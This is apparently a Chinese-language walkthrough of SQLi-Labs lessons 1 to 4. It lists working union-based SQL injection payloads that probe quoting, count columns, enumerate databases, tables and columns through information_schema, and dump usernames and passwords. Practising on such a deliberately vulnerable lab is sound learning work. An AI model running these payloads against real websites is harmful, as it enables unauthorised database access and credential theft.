less-01
递交一个参数id(像我这么懒得人就直接在url处get传参了)
?id=1’ 检查是否有注入为了方便学习,我将index.php中的sql语句打印了出来,很明显根据报错也可看出’号被插入到了sql语句中并进行了语法报错,所以存在注入
?id=1’ order by 3 --+通过order by语句检查该数据库有几列 order by 在sql中是用来排序的,在这里通过二分法测试order by 可以测出该表所含列数
?id=-1’union select 1,2,3 --+ 测回显位置与列的对应关系我们发现2,3列位置可以利用
?id=-1’ union select 1,2,database() --+ 查看当前数据库可以看出当前是在security数据库下
?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 1,1 --+ 通过调整limit的参数值一一查看数据库?id=-1’ union select 1,2,group_concat(schema_name ) from information_schema.schemata --+ 让所有数据库在一个回显行表示(就不配图了)
?id=-1’ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=‘security’ --+
查看security数据库中表名?id=-1’ union select 1,2,group_concat(column_name) from information_columns where table_name=‘users’ --+ 查看users 表下所有列名
?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users --+
注入完成了
less-02
这个题和less-01 类似 是一样的操作,不同的是这里上传的参数没有带引号
?id=1’
id=1 order by 3–+ 查看多少列
id=-1union select 1,2,3–+查看什么地方有回显
id=-1 union select 1,2,database()–+查看当前数据库
id=-1 union select 1,2,schema_name from information_schema.schemata limit 4,1–+查看数据库
id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata–+查看所有数据库名
id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘库名’ 查看当前数据库下所有表
id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘表名’ 查看某表下的所有列名
id=-1 union select 1,2,group_concat(concat_ws(’’,列名,列名)) from 某数据库.某表 拼接显示注入流程很相似
less-03
?id=1’测试发现这次加小括号了
于是
?id=1’)–+
采用这样的注入方式
按照上面的步骤
最后
?id=-1’) union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users --+
less-04
?id=1’
这次竟然没有报错
输出了sql语句才知道这次id值包裹着(“”)
?id=1" 此时会报错,从而可知存在注入漏洞于是可知采用
?id=1") --+ 方式逐步注入
最终
?id=-1") union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users --+